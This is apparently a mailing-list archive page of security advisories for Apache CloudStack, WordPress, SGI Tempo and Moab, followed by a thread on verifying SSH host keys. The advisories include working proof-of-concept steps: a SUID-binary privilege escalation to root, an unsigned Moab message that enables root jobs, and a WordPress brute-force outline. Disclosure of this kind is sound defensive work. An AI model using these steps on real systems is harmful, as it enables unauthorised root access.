-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 CVE-2015-3252: Apache CloudStack VNC authentication issue CVSS v2: 4.3 (AV:N/AC:H/Au:M/C:P/I:P/A:P) Vendors: The Apache Software Foundation Citrix, Inc. Versions Afffected: Apache CloudStack 4.4.4, 4.5.1 Description: Apache CloudStack sets a VNC password unique to each KVM virtual machine under management. Upon migrating a VM from one host to another, the VNC password is no longer set in KVM on the new host. To leverage this issue, an attacker would need to have network access to a CloudStack host to be able to connect via VNC directly. Mitigation: Users of Apache CloudStack and derivatives should ensure their hosts are behind network firewalls, and should update to least version 4.5.2 or 4.6.0, depending on which tree is being used. -BEGIN PGP SIGNATURE- Version: GnuPG v1 Comment: GPGTools - http://gpgtools.org iQIcBAEBCgAGBQJWs/dCAAoJELAo8zo1KBbtsX8QAMf2s9OIY3FTbMbTIo/LBmLa rOOE46SBcmypN1TCHKW0K9etymieI58CPX9LHNdtZcAMa1khl4uo/Euz0wGu0zZZ awXahXEKUkLSTQDDYJP+8TmKvnIan/mYXRvPEHi2bMCtQ+CjY5qvcge9wXpFDKty B3LP9n/zYDkQCvBLmjPuqIM+B4JXT9q/e3LsVQHrjhBxheY26CMrSRZ/aLxmzxbh SSNs4oMZhLEPHoSt/lWsHYd/HxJ/eEjyQunP0UpO5d5/RZypYllPHcbaFPqtC4uK 55VB3JGyPiSEpxbbWEAqrPlOwCU9yNhRXnjdf3gc360NtdjncY1R49+VvUc6C+6u FqPmy5LFja5uQ1w6/VDdwoT9GeBL9rooMFsLgRpv+FCKPYEtvvIbvot45xA5TCAi MoU7RjYZoWHTmXLYcQOSSzFnySjLVqdrIL6fgu4gpehB/Od+sV+dwaKM/l03Ml8S mTerjUNkG2e+pNuWk703aLv4YrKv63T2ga8Nli00BYSyzsxDupd+0XmBzvsLPCMY uEbxBVVFSpIJMtTacBNgRQGFEQVh+DxPgDaXoZ6RFU/QKVZuWAq85qVEcbDjf8bM 0C6D3f5uXaFaXm4ff1FZ/s/4YOj4rm5EyawrM+Me218+PKMJPHzvsL8y10GCj1T8 s1S77QqgKhqFc+98Z1m3 =OY+T -END PGP SIGNATURE-
CVE-2015-3251: Apache CloudStack VM Credential Exposure
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 CVE-2015-3251: Apache CloudStack VM Credential Exposure CVSS v2: 6.0 (AV:N/AC:M/Au:S/C:P/I:P/A:P) Vendors: The Apache Software Foundation Citrix, Inc. Versions Afffected: Apache CloudStack 4.4.4, 4.5.1 Description: Apache CloudStack provides an API for managing network, compute, storage, and user aspects of a CloudStack cloud. Under certain circumstances, the results of certain API calls may expose the root password for a virtual machine related to an API call. This exposure only happens when the API calls of concern are authenticated with CloudStack's "root" or "domain administrator" level users. Mitigation: Users of Apache CloudStack should update to at least 4.5.2 or 4.6.0. Additionally ensure non-administrative users do not have root or domain-administrator level accounts. -BEGIN PGP SIGNATURE- Version: GnuPG v1 Comment: GPGTools - http://gpgtools.org iQIcBAEBCgAGBQJWs/YVAAoJELAo8zo1KBbt+wwP/37SL6e157Hil+unxdV2eqIv swtRKbEAn6EHRU8xbN+nX/CqbRoonNY8xRAh2R3t6qMjvQwma+fNjKYrQRY476Vr m4pib/zBf10/lvb2oLppMPMDuAA0ri24UCD/iGS+9aRq72nphDudgxAHHySo9xki MyJM7Pih+2DkBAbBkQfgxq3juIIc6kgTfdQnKDTrCAMqrD5hSAEjWkfdoKdaRBwn iMnueNcu0TAyUFpFKz/mbKX4K1ZN7CKykhWGzZI3CO5Cze9u7HfbuqI4Dh2YOWIR 94dQHcGUEAg6d4laL/R0k2PsWSKAjhlwrATC7Th1+N4JR67SxskM9zNDpi7qU7zp DKqXHbgJ32KH1V0jD/aoGFEgsusUzuJ9yNRX3Mr4TVyfPmTzN1w/NtKl/tqJidba Mxv8KJFTtOY5OnuD01tnoLIUPXxQcw6uS0Zoqg8ns0TqkdTCW5BmnhLfNfIb9dlp /zYNl/wFKGv68x6YZmWme6bXNg7l1KKYnK0Yb6Po7JX6k94/vAsMTsPkgdGjTq7L HqdnwvAAiqEloWZe8trrzMqSRdr6TKhSTWqN3yWaMqQEml/VakCDYGrdd+rDdp/P ++zqLsDUXTaTsipYM/e/oipRtRcHa/TXxERMcH0S4R2rId2mk6X2fyHGoar7p/oG /Ef3ZKcqB6rxdzKYLEV7 =t8DZ -END PGP SIGNATURE-
WordPress <=v4.4 Username Exists Information Disclosure
Information security research credited to John Martinelli @ SECURELI.com. (j...@secureli.com) - Affects: WordPress <=v4.4 Vulnerability: Information Disclosure CVE-ID: Pending Impact: Username exists disclosure on /wp-login.php - By default, WordPress <=4.4 discloses whether a username is registered inside the system, allowing attackers the opportunity to do brute-force password cracking attacks. One proof of concept would be to scrape Alexa.com for WordPress running domains, check automatically whether it confirms the username (possibly top 100 most popular WP usernames) exists in the WordPress users table using a simple RegEx boolean to determine “IF USER EXISTS”, then to send a Selenium automated browser to attempt logins with top 10 most popular passwords. Would easily allow attackers to login and with publishing or editing permissions, install malware onto the WordPress installation as well as potentially escalate privileges on the hosting account if running vulnerable versions of WordPress or plugins. Proof screenshot @ http://secureli.com/information-security-research/wordpress/
[CVE-2014-7303] SGI Tempo System Database Exposure
[SGI Tempo System Database Exposure] Software: SGI Tempo (SGI ICE-X Supercomputers) Affected Versions: Unknown CVE Reference: CVE-2014-7303 Author: John Fitzpatrick, MWR Labs Severity: Low Risk Vendor: Silicon Graphics International Corp (SGI) Vendor Response: Uncooperative [Description] It is possible for users of ICE-X supercomputers to gain access to backups of system configuration databases. [Impact] The impact depends on the type of information held within this database. More recent versions of Tempo store root password hashes in the database, while in earlier versions of Tempo the impact is believed to me more limited. [Cause] Insecure (world readable) file permissions are set on the database backup. [Solution] SGI have chosen not to co-operate on resolving this issue. However, a workaround is possible: * Alter the permissions on any current database dumps (this should be run/checked on all service nodes) # chmod 600 /etc/dbdump.db * Within the file /etc/opt/sgi/conf.d/80-update-mysql find the following section of code: command = mysqldump --user=root --pass= + password + --all-databases --master-data /etc/dbdump.db * Alter this to the following, in order to ensure the more secure permissions persist reboots: command = mysqldump --user=root --pass= + password + --all-databases --master-data /etc/dbdump.db; chmod 600 /etc/dbdump.db SGI have chosen not to cooperate with MWR in the co-ordinated disclosure of this and other SGI related security issues. MWR are therefore unable to provide specific version information and other details surrounding this issue. Whilst every effort has been made to ensure the accuracy and usefulness of this advisory it is recommend that SGI are contacted directly if further information is required. [Detailed Timeline] 2014-02-11: Contact with SGI established 2014-02-20: Full vulnerability details provided to SGI 2014-04-14: Vulnerabilities acknowledged and response provided 2014-05-23: Update requested by MWR (not provided) 2014-07-23: Update requested by MWR (not provided) 2014-11-20: Contact with SGI re-attempted 2014-12-02: Advisory published https://labs.mwrinfosecurity.com/advisories/2014/12/02/sgi-tempo-system-database-exposure/
[CVE-2014-7302] SGI SUID Root Privilege Escalation
[SGI SUID Root Privilege Escalation] Software: SGI Tempo (SGI ICE-X Supercomputers) Affected Versions: Unknown CVE Reference: CVE-2014-7302 Author: Luke Jennings, John Fitzpatrick, MWR Labs Severity: Medium Risk Vendor: Silicon Graphics International Corp (SGI) Vendor Response: Uncooperative [Description] A vulnerability exists which allows low privileged local users to escalate their privileges to root. [Impact] Successful exploitation provides full root access to the affected system. [Cause] An insecure SUID root binary (/opt/sgi/sgimc/bin/vx). [Solution] If removing the vx binary is not an option this issue can be resolved by altering the file permissions: # chmod 755 /opt/sgi/sgimc/bin/vx [Technical Details] A SUID root binary, believed to be part of the SGI Management Center, exists on SGI ICE-X supercomputers and is insecurely configured allowing for low privileged users to escalate their privileges. This binary is shown below: $ ls -la /opt/sgi/sgimc/bin/vx -rwsr-sr-x 1 root root 19248 2013-10-04 15:00 /opt/sgi/sgimc/bin/vx MWR have only observed the vx binary on the admin nodes of ICE-X systems which are not typically accessible by non administrative users. If present on other nodes within the environment this issue should be considered a higher risk. The output below shows the usage options available to users from the vx binary: user@sgi:~/test ./vx Usage: vx -s[:scanlist] [-i:ignorelist] [entries] vx -x [entries] Options: -s Scan the current directory or files listed in the specified file. -i Ignore the directories listed in the specified file. -x Extract files into the current directory. NOTE: This program must be run directly or effectively as root. The vx binary provides a means to apply file permissions to all files within a directory allowing for file permissions to be preserved across nodes in an efficient fashion. However, the SUID permissions set on this binary mean that any user can execute it in a manner which allows the user to alter the permissions of any file, regardless of ownership, and even to arbitrarily change file permissions. It is therefore possible to utilise the vx binary to set SUID root permissions on arbitrary files from a low privileged user account and thus escalate privileges. [Proof of Concept] This proof of concept demonstrates how the insecure permissions on this file can be exploited in order to create a SUID root executable. The example will use the Korn shell (ksh) for simplicity, but could easily be refactored for other purposes. For the purpose of this example the contents of the current working directory are: $ ls la drwxr-xr-x 3 j0hn users 4096 2014-09-01 14:42 . drwxr-xr-x 13 j0hn users 4096 2014-09-01 14:42 .. -rwxr-xr-x 1 j0hn users 38312 2014-09-01 14:30 ksh -rwsr-sr-x 1 root root 19248 2014-08-19 19:41 vx Run the following command in order to scan the current directory and create a file named mwrtestx that contains information on the file permissions of all files within your current working directory: $ vx -s mwrtestx The file mwrtestx will be created with the following content: ksh^@f3wx92v53X3q3gB46FkQOX1^@5fat040116FkQOX1 vx^@f3S052Tt006bPnJX1^@5Wat040116ZtQOX1 The file mwrtestx contains the file name, file permissions as well as ownership details. Therefore if the filename vx within this file is altered to read ksh the file contents now specify that the ksh binary be set the SUID root permissions currently applied to the vx binary: ksh^@f3S052Tt006bPnJX1^@5Wat040116ZtQOX1 Executing the vx binary with the mwrtestx file results in the file permissions within the mwrtestx file being applied, in this case resulting in ksh being altered and made SUID root: $ vx -x mwrtestx $ ls la drwxr-xr-x 3 j0hn users 4096 2014-09-01 14:45 . drwxr-xr-x 13 j0hn users 4096 2014-09-01 14:45 .. -rwsr-sr-x 1 root root 38312 2014-08-19 19:41 ksh -rwsr-sr-x 1 root root 19248 2014-08-19 19:41 vx To confirm that this has worked effectively ksh should be run: $ ./ksh # id uid=200107(j0hn) gid=16100(users) euid=0(root) egid=0(root) groups=16100(users) [Detailed Timeline] SGI have chosen not to co-operate with MWR in the co-ordinated disclosure of this and other SGI related security issues. MWR are therefore unable to provide specific version information and other details. Whilst every effort has been made to ensure the accuracy and usefulness of this advisory it is recommend that SGI are contacted directly if further information is required. 2014-05-23: Contact with SGI attempted 2014-07-23: Contact with SGI re-attempted 2014-11-20: Contact with SGI re-attempted 2014-12-02: Advisory published https://labs.mwrinfosecurity.com/advisories/2014/12/02/sgi-suid-root-privilege-escalation/
[CVE-2014-7301] SGI Tempo System Database Password Exposure
[SGI Tempo System Database Password Exposure]
Software: SGI Tempo (SGI ICE-X Supercomputers)
Affected Versions: Unknown
CVE Reference: CVE-2014-7301
Author: John Fitzpatrick, MWR Labs
Severity: Medium Risk
Vendor: Silicon Graphics International Corp (SGI)
Vendor Response: Uncooperative
[Description]
It is possible for users to gain read+write access to the Tempo system
(configuration) database on SGI ICE-X supercomputers due to insecurely set file
permissions on the /etc/odapw file.
[Impact]
SGI describe the system database as critical to the operation of your SGI ICE
X system. It is believed that this level of access could be used to cause
significant disruption to the operation of the supercomputer. However, this has
not been fully explored.
[Cause]
Insecure (world readable) file permissions are set on the /etc/odapw file which
contains the password for this database.
[Solution]
SGI have chosen not to issue a fix. However, a workaround is trivial: Modify
file permissions of the /etc/odapw file:
# chmod 600 /etc/odapw
[Technical Details]
SGI Tempo cluster management software, deployed on SGI ICE supercomputers,
makes use of a system database (SDB, sometimes referred to as the Oscar
database). This database (MySQL) contains system configuration information
required for the operation of the cluster which, if altered, could cause severe
disruption to the systems operation. In addition some information would be
considered sensitive, particularly in more recent Tempo versions that have been
found to store root password hashes as attributes within this database.
If root password hashes are held within the database they will be displayed as
the result of running the following command:
# cattr list passwd_root
By default an anonymous account is available to query the SDB with read only
permissions. An article on the SGI Supportfolio describes this issue and how to
disable anonymous access:
https://support.sgi.com/kb_request/solution/display?KB_NODEUUID=62590135-708d-47d7-934e-b3fac09b7603MODE=multiple
(Registration required)
Disabling anonymous access will prevent non root users from running the c*
commands (e.g. cattr, cnodes, etc.). Whilst providing read-only access does
present its risks, the risk posed by providing read+write access is far more
substantial as it can also be utilised to alter the system configuration and
cause the system to fail to operate.
The default username for the database is oscar. The password for this is held
in the /etc/odapw file which is present on service nodes and readable by all
users of the system. The password follows a common structure shown below:
regexp: oscar(\.[0-9]{3}){4}
example: oscar.324.519.262.397
The following MySQL command will establish a connection to the database and
prompt for the password within the /etc/odapw file:
$ mysql -u oscar -h admin p
[Workaround]
MWR recommend altering the permissions of the /etc/odapw file to prevent non
root users from reading the password. This will prevent non root users from
being able to make use of the c* commands:
# chmod 600 /etc/odapw
SGI have chosen not to co-operate with MWR in the co-ordinated disclosure of
this and other SGI related security issues. MWR are therefore unable to provide
specific version information and other details. Whilst every effort has been
made to ensure the accuracy and usefulness of this advisory it is recommended
that SGI are contacted directly if further information is required.
[Detailed Timeline]
2014-02-11: Contact with SGI established
2014-02-20: Full vulnerability details provided to SGI
2014-04-14: Vulnerabilities acknowledged and response provided
2014-05-23: Update requested by MWR (not provided)
2014-07-23: Update requested by MWR (not provided)
2014-11-20: Contact with SGI re-attempted
2014-12-02: Advisory published
https://labs.mwrinfosecurity.com/advisories/2014/12/02/sgi-tempo-system-database-password-exposure/
WordPress =4.0 Denial of Service Exploit (CVE-2014-9034)
author details: John M. (j...@secureli.com) homepage details: SECURELI.com Description: CVE-2014-9034 was published recently, highlighting an issue that allows remote attackers to cause a denial of service (CPU consumption) via a long password that is improperly handled during hashing due to phpass usage. After reviewing the vulnerability, I have developed a proof-of-concept that successfully performs a denial of service attack against wp-includes/class-phpass.php in the affected version numbers: before 3.7.5 3.8.x before 3.8.5 3.9.x before 3.9.3 4.x before 4.0.1 There is no other working code published out in the security world that allows replicating the denial of service code, so this is an exclusive world premier. :) The proof of concept is developed in PHP and is available for download here: http://secureli.com/wp-content/uploads/2014/11/secureli.com-wordpressed.php_.txt -John
Moab Authentication Bypass [CVE-2014-5300]
##[Moab Authentication Bypass : CVE-2014-5300]## Software: Moab Affected Versions: All versions prior to Moab 7.2.9 and Moab 8 CVE Reference: CVE-2014-5300 Author: John Fitzpatrick, MWR Labs (http://labs.mwrinfosecurity.com/) Severity: High Risk Vendor: Adaptive Computing Vendor Response: Resolved in Moab 7.2.9 and Moab 8 ##[Description] It is possible to bypass authentication within Moab in order to impersonate and run commands/operations as arbitrary users. The issue is believed to affect all versions of Moab prior to versions 7.2.9 and Moab 8. ##[Impact] Successful exploitation could lead to remote code execution. ##[Cause] The Moab server does not appropriately authenticate requests. ##[Solution] Upgrade to Moab 7.2.9, Moab 8, or a later version of the software. Beta versions of Moab 8 are affected by this issue. This issue also affects versions of Moab which are using Munge for authentication. This issue is believed to affect all instances of Moab prior to version 7.2.9 and 8. MWR are not aware of any alternate workaround for this issue. ##[Technical Details] Moab is a workload manager used in High Performance Computing (HPC) environments. In a typical environment a user submits their jobs to the Moab server for it to handle the workload. This communication makes use of an XML based protocol, and example job submission is shown below: Envelope component=ClusterScheduler count=1 name=moab type=nonblocking version=8.0.beta.2 Signature DigestValue7v49VzAlbyNQ4O3VChCus+v2LeE=/DigestValue SignatureValueQG13cmxhYnMgRWFzdGVyIEVnZyE=/SignatureValue /Signature Body actor=test timestamp=1408488412 Request action=submit actor=test cmdline=\STARTmsub Objectjob/Object job Ownertest/Owner UserIdtest/UserId GroupIdtest/GroupId InitialWorkingDirectory/home/test/InitialWorkingDirectory UMask2/UMask Executable/usr/bin/id/Executable SubmitLanguagePBS/SubmitLanguage SubmitString\START/usr/bin/id\0a\0a/SubmitString /job /Request /Body /Envelope Contained within this message is a Signature element, which contains both a DigestValue and SignatureValue elements. The DigestValue is simply a SHA1 sum of the Body element. The SignatureValue, however, is computed based upon a key (.moab.key) which is read by a setuid root binary (mauth) which performs some additional verification of the user before providing a signature for the message. This use of signatures is intended to prevent users from being able to craft arbitrary messages as the signature value is validated by the Moab server. Messages containing an incorrect signature for the message will be rejected. However, whilst an incorrect SignatureValue results in a rejected message, it was found that if no signature is supplied then the signature checks are skipped and the remainder of the message processed. As a result it is possible to craft arbitrary messages and these messages will be accepted and honoured by the server as long as the message does not include a Signature element. The following message contains no signature element and therefore will be accepted by the server: Envelope component=ClusterScheduler count=1 name=moab type=nonblocking version=8.0.beta.2 Body actor=test timestamp=1408488412 Request action=submit actor=test cmdline=\STARTmsub Objectjob/Object job Ownertest/Owner UserIdtest/UserId GroupIdtest/GroupId InitialWorkingDirectory/home/test/InitialWorkingDirectory UMask2/UMask Executable/usr/bin/id/Executable SubmitLanguagePBS/SubmitLanguage SubmitString\START/usr/bin/id\0a\0a/SubmitString /job /Request /Body /Envelope With no signing taking place an adversary can specify arbitrary users for these operations to be performed under, and thus impersonate other users including executing jobs as other users. ##[Proof of Concept] In addition to job submission Moab also provides the ability to dynamically reconfigure the Moab server remotely. Whilst a default Moab installation will not permit the submission of root jobs it is possible to exploit this vulnerability in order to dynamically reconfigure Moab to allow root job submissions. The following request achieves this and due to its simple nature makes a useful proof of concept (the timestamp value may require altering): 0238 Envelope component=ClusterScheduler count=1 name=moab version=8.0.beta.2Body actor=root timestamp=1404856164Request action=modify actor=root args=ALLOWROOTJOBS TRUEObjectsched/Object/Request/Body/Envelope Sending the entire message above (including the size value) will enable root jobs on a vulnerable server. ##[Detailed Timeline] 2014-07-08 : Vulnerability identified and detailed information passed to Adaptive 2014-07-09 : Adaptive inform MWR that code changes are being made to address the issue 2014-07-11 : Adaptive
Moab User Impersonation [CVE-2014-5375]
##[Moab User Impersonation : CVE-2014-5375]## Software: Moab Affected Versions: All current versions of Moab. However, the impact is limited in Moab 7.2.9 and Moab 8. CVE Reference: CVE-2014-5375 Author: John Fitzpatrick, Luke Jennings MWR Labs (http://labs.mwrinfosecurity.com/) Severity: High Risk Vendor: Adaptive Computing Vendor Response: Updates in Moab 7.2.9 and Moab 8 provide some mitigations ##[Description] It is possible to submit jobs to Moab as arbitrary users due to insufficient authentication checks during the submission of a job to the Moab server. ##[Impact] Users are able to submit jobs as arbitrary users. In environments that permit it this could allow job execution as root. ##[Cause] Moab does not sufficiently validate the job submissions against its intended user ID values. ##[Solution] An upgrade to Moab 7.2.9 or Moab 8 prevents direct exploitation of this issue (further details are provided in the #147;Technical Details#148; section below). In these versions jobs submitted in this manner enter a held state, this is flagged as a known issue by Adaptive (MOAB-7478): Jobs submitted with invalid credentials are put in a held state, instead of rejected, until the administrator can respond. The checkjob command gives administrators further information regarding why the job is held. Blindly assuming that all held jobs should in fact be running RIGHT NOW is not only unsafe, but circumvents intentional Moab policies and workflow. An administrator should exercise care when resolving held jobs. Administrators should be aware that attackers can control the UserID value which provides them control over the user specified within the checkjob. MWR would recommend that Adaptive make use of the #147;actor#148; value passed to Moab, as the controls introduced in 7.2.9 and 8 prevent manipulation of this value. ##[Technical Details] Moab is a workload manager used in High Performance Computing (HPC) environments. In a typical environment a user submits their jobs to the Moab server for it to handle the workload. Moab communication makes use of an XML based protocol. An example message showing a job submission is shown below: Envelope component=ClusterScheduler count=1 name=moab type=nonblocking version=8.0.beta.2 Signature DigestValue7v49VzAlbyNQ4O3VChCus+v2LeE=/DigestValue SignatureValueQG13cmxhYnMgRWFzdGVyIEVnZyE=/SignatureValue /Signature Body actor=test timestamp=1408488412 Request action=submit actor=test cmdline=\STARTmsub Objectjob/Object job Ownertest/Owner UserIdtest/UserId GroupIdtest/GroupId InitialWorkingDirectory/home/test/InitialWorkingDirectory UMask2/UMask Executable/usr/bin/id/Executable SubmitLanguagePBS/SubmitLanguage SubmitString\START/usr/bin/id\0a\0a/SubmitString /job /Request /Body /Envelope Within this message users are specified in multiple locations, these are highlighted in bold in the message above. In versions of moab prior to Moab 8 there are two instances of the actor value specified. In order for mauth to sign a message the actor specified within the Request tag must match the user calling mauth. It is not necessary for the actor value within the Body tag to match the calling user. In addition to checks at the mauth level the server will perform its own checks. The server ensures that the Owner matches the user specified within the Body actor value. If either differs an error (code 999 #150; invalid credentials specified for submitted job) is returned by the server and the job rejected. Since the actor value within the body tag is not verified by mauth, and this actor value is also the one against which the server checks the Owner tag, it is possible to smuggle through jobs to the server with an arbitrary user specified in each of these values. The user under which the job is queued by Moab is the user specified within the UserId tag. Whilst it is possible to impersonate a user by changing only this value, doing so appears to impede communication between Moab and a workload manager, on TORQUE this results in the job entering a BatchHold state where it will not execute. When the Body.actor value, the Owner and the UserId value are altered (but the Request.actor value remains legitimate to facilitate signing) it is possible to impersonate any user. The example above describes this process when impersonating users during job submission. Moab also provides a means to reconfigure the server and a similar approach can be adopted to impersonate root and perform server reconfiguration. In Moab 8 only a single actor value is contained within the messages and is used by both mauth and by the Moab server. This prevents manipulation of the Owner value during job submission. It remains possible to alter the UserId value and submit jobs in Moab 8 (as described above), although in a typical Moab+TORQUE configuration
Moab Authentication Bypass (insecure message signing) [CVE-2014-5376]
##[Moab Authentication Bypass (insecure message signing) : CVE-2014-5376]## Software: Moab Affected Versions: Dependent on configuration, can affect all versions of Moab including Moab 8 CVE Reference: CVE-2014-5376 Author: John Fitzpatrick, Luke Jennings MWR Labs (http://labs.mwrinfosecurity.com/) Severity: High Risk Vendor: Adaptive Computing Vendor Response: Provided additional guidance in 7.2.9 release notes (MOAB-7480) ##[Description] Moab provides two methods to authenticate messages sent by users (e.g. job submissions). The default scheme which is widely used is insecure and can be circumvented in order to impersonate other users and perform operations on their behalf. ##[Impact] It is possible to exploit this issue remotely in order to perform any operation on the server from the perspective of any user role. Examples include submitting jobs as arbitrary users (including as root), as well as reconfiguring the Moab server itself. ##[Cause] The default authentication mechanism does not perform sufficient validation that the user requesting the signing of a message is the owner of the message. ##[Solution] Make use of moab.key files with a complex key value. Adaptive acknowledge this issue in the 7.2.9 release notes (MOAB-7480) as a known issue, stating: When installing or upgrading, it is strongly recommended that administrators configure Moab with mauth authentication with a complex key value. See Mauth Authentication (http://docs.adaptivecomputing.com/mwm/7-2-9/help.htm#a.esecurity.html%23mauth) for more information. ##[Technical Details] Moab is a workload manager used in High Performance Computing (HPC) environments. In a typical environment a user submits their jobs to the Moab server for it to handle the workload. Moab communication makes use of an XML based protocol and these messages are signed with a key. An example message is shown below: Envelope component=ClusterScheduler count=1 name=moab type=nonblocking version=8.0.beta.2 Signature DigestValue7v49VzAlbyNQ4O3VChCus+v2LeE=/DigestValue SignatureValueQG13cmxhYnMgRWFzdGVyIEVnZyE=/SignatureValue /Signature Body actor=test timestamp=1408488412 Request action=submit actor=test cmdline=\STARTmsub Objectjob/Object job Ownertest/Owner UserIdtest/UserId GroupIdtest/GroupId InitialWorkingDirectory/home/test/InitialWorkingDirectory UMask2/UMask Executable/usr/bin/id/Executable SubmitLanguagePBS/SubmitLanguage SubmitString\START/usr/bin/id\0a\0a/SubmitString /job /Request /Body /Envelope On receiving a message the server will generate a signature and ensure that it matches the SignatureValue element within the message. This signature is effectively computed in the following manner: signature = f(messageBody,key) Therefore in order to communicate with the Moab server users must be able to compute valid signatures and two mechanisms are provided within Moab for achieving this: 1. The use of .moab.key files (more secure) 2. Use of a pre-generated key (insecure) - default Where .moab.key files are used a SUID root binary (mauth) provides an interface to this key as well as a means for verifying that the user calling mauth matches the actor specified within the XML message being signed. Where a pre-generated key is used mauth is not called and the generation of messages is performed entirely within the context of the calling user. There is no validation that the user requesting the signing of the message is the actor specified within the message. As a result where pre-generated keys are used it is possible to craft messages belonging to other users and to perform operations and submit jobs as other users. Simply patching the return value of calls to getuid() is sufficient to impersonate other users. ##[Detailed Timeline] 2014-01-21 : Detailed vulnerability information provided to Adaptive 2014-08-27 : Full advisory provided to Adaptive 2014-09-08 : Release of advisory to HPC community 2014-09-25 : Public release of advisory http://labs.mwrinfosecurity.com
Strength and Weakness of Methods to Confirm SSH Host Key
Monkeysphere (advice from maxigas) verify your SSH key through the OpenPGP web of trust Strength: OpenPGP is cool if you REALLY know how to use it. Weakness: vote counting scheme does not sound too cool. use of an organization's own HTTPS site (advice from Stephanie Daugherty) In my personal opinion, this is the best solution. Weakness: basically nothing - it's very secure. use DNSSEC to validate SSH fingerprints (advice from Micha Borrmann / Jeroen van der Ham / john) This is a good solution. Weakness: HTTPS is more mature than DNSSEC(in my personal opinion). ssh-keyscan -p 22 domain.com ... (advice from Busindre) It's the same as running ssh directly. Check SSH(https://checkssh.com/) (we made it) Strength: this definitely stops ALL local bad boys. Weakness: While it's open source(and source code is less than 100 lines)... We simply won't give you root password of the server(you don't own the server). If adversary is EXTREMELY powerful: It's better to set up your own Check SSH. Best Wishes,
Re: [FD] SSH host key fingerprint - through HTTPS
On 01/09/14 10:43, Stephanie Daugherty wrote: Sure it shows me the fingerprint, but it doesn't tell me for sure if that's the RIGHT fingerprint or the fingerprint of an imposter, It's entirely possible that both myself and that site are BOTH falling victim to a MITM attack.(routing attacks, DNS attacks, etc) Proper host key verification (which nobody does) ideally means one or more of: * Verification that the SSH host key is connected via certificate chain to a trusted certificate, * Comparison to a fingerprint being posted on the organization's OWN https site * Comparison to a fingerprint provided with a GPG or S/MIME signature from the administrator of the machine. * Voice verification of the host public key or its fingerprint with the administrator of the machine. * Obtaining a printed copy of the host public key or its fingerprint directly from the administrator. Or just use an SSHFP record in a signed zone
Re: [FD] SSH host key fingerprint - through HTTPS
Good to hear from you! marginally better We never said this is perfect. checkssh.com stops LOCAL bad boys. That's all. both myself and that site are BOTH falling victim Ah, here is the source code... https://checkssh.com/result/indexdotphp.txt It's extremely short and easy to read. You can set up your own Check SSH(where you trust). more robust alternatives Trust me - HTTPS is more mature. And our code is more simple. Best Wishes, On 2014-9-1 16:43, Stephanie Daugherty wrote: Sure it shows me the fingerprint, but it doesn't tell me for sure if that's the RIGHT fingerprint or the fingerprint of an imposter, It's entirely possible that both myself and that site are BOTH falling victim to a MITM attack.(routing attacks, DNS attacks, etc) Proper host key verification (which nobody does) ideally means one or more of: * Verification that the SSH host key is connected via certificate chain to a trusted certificate, * Comparison to a fingerprint being posted on the organization's OWN https site * Comparison to a fingerprint provided with a GPG or S/MIME signature from the administrator of the machine. * Voice verification of the host public key or its fingerprint with the administrator of the machine. * Obtaining a printed copy of the host public key or its fingerprint directly from the administrator. Although this might be marginally better than trust on first contact (TOFC), the danger of a false sense of security likely outweigh any potential security gains over TOFC, particularly when more robust alternatives (MonkeySphere, signed host keys, use of an organization's own HTTPS site) exist and are clearly superior. On Mon, Sep 1, 2014 at 12:41 AM, John Leo john...@checkssh.com mailto:john...@checkssh.com wrote: This tool displays SSH host key fingerprint - through HTTPS. SSH is about security; host key matters a lot here; and you can know for sure by using this tool. It means you know precisely how to answer this question: The authenticity of host 'blah.blah.blah (10.10.10.10)' can't be established. RSA key fingerprint is a4:d9:a4:d9:a4:d9a4:d9:a4:__d9a4:d9a4:d9a4:d9a4:d9a4:d9. Are you sure you want to continue connecting (yes/no)? https://checkssh.com/ We hackers don't want to get hacked. :-) SSH rocks - when host key is right. Enjoy! Best Wishes, _ Sent through the Full Disclosure mailing list http://nmap.org/mailman/__listinfo/fulldisclosure http://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/__fulldisclosure/ http://seclists.org/fulldisclosure/
Re: [FD] SSH host key fingerprint - through HTTPS
Nice to hear from you! I can only wish your suggestion is widely implemented. And don't forget those machines without domain. Best Wishes, On 2014-9-2 04:21, Jeroen van der Ham wrote: Hi, On 1 Sep 2014, at 10:43, Stephanie Daugherty sdaughe...@gmail.com wrote: Sure it shows me the fingerprint, but it doesn't tell me for sure if that's the RIGHT fingerprint or the fingerprint of an imposter, It's entirely possible that both myself and that site are BOTH falling victim to a MITM attack.(routing attacks, DNS attacks, etc) Proper host key verification (which nobody does) ideally means one or more of: * Verification that the SSH host key is connected via certificate chain to a trusted certificate, * Comparison to a fingerprint being posted on the organization's OWN https site * Comparison to a fingerprint provided with a GPG or S/MIME signature from the administrator of the machine. * Voice verification of the host public key or its fingerprint with the administrator of the machine. * Obtaining a printed copy of the host public key or its fingerprint directly from the administrator. There is a way now, using the “magic” of DNSSEC and SSHFP records: http://tools.ietf.org/html/rfc4255 You use the DNSSEC hierarchy to create a trust chain. You can then securely publish a signed fingerprint of your SSH host key for that specific machine. Jeroen.
Re: SSH host key fingerprint - through HTTPS
Thanks. Yes, your suggestion is cool. Best Wishes, On 2014-9-1 19:41, Micha Borrmann wrote: Nice tool, but it is also possible, to use DNSSEC to validate SSH fingerprints, which is much more comfortable and more secure. Am 01.09.2014 um 06:41 schrieb John Leo: This tool displays SSH host key fingerprint - through HTTPS. SSH is about security; host key matters a lot here; and you can know for sure by using this tool. It means you know precisely how to answer this question: The authenticity of host 'blah.blah.blah (10.10.10.10)' can't be established. RSA key fingerprint is a4:d9:a4:d9:a4:d9a4:d9:a4:d9a4:d9a4:d9a4:d9a4:d9a4:d9. Are you sure you want to continue connecting (yes/no)? https://checkssh.com/ We hackers don't want to get hacked. :-) SSH rocks - when host key is right. Enjoy!
Re: [FD] SSH host key fingerprint - through HTTPS
